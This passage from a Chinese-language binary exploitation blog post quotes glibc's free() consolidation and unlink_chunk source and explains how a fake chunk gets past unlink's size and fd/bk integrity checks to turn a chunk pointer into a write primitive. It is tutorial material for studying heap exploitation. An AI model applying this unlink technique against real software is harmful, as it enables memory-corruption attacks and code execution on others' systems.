
/*
Consolidate other non-mmapped chunks as they arrive.
*/
else if (!chunk_is_mmapped(p)) {
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
if (!have_lock)
__libc_lock_lock (av->mutex);
nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");
nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
if (!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
malloc_printerr ("free(): corrupted unsorted chunks");
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;
set_head(p, size | PREV_INUSE);
set_foot(p, size);
check_free_chunk(av, p);
}
/*
If the chunk borders the current high end of memory,
consolidate into top
*/
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}

unlink 代码如下:

/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

对于 unlink 的保护,首先得绕过这个 size 检测,即,下一个 chunk 的 prev_size 和当前 chunk 的 chunk_size 得是相等的:

if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

然后还有两个要注意的地方,即 P->fd->bk == P && P->bk->fd == P

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

实际的 unlinking 代码为:

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
fd->bk = bk;
bk->fd = fd;

经调试发现,它们改的都是同一个值,所以最后生效的其实只有 bk->fd = fd,即把 chunk 0 的地址改为了 fake chunk 的 fd 值。现在,我们向 chunk 0 写入数据就是写入到 fake chunk 的 fd 指向的值中去了。

Beyond Basics: The Dark Arts of Binary Exploitation
https://cubeyond.net/posts/pwn-notes/pwn-trick-notes/
Author
CuB3y0nd
Published at
2025-02-01
License
CC BY-NC-SA 4.0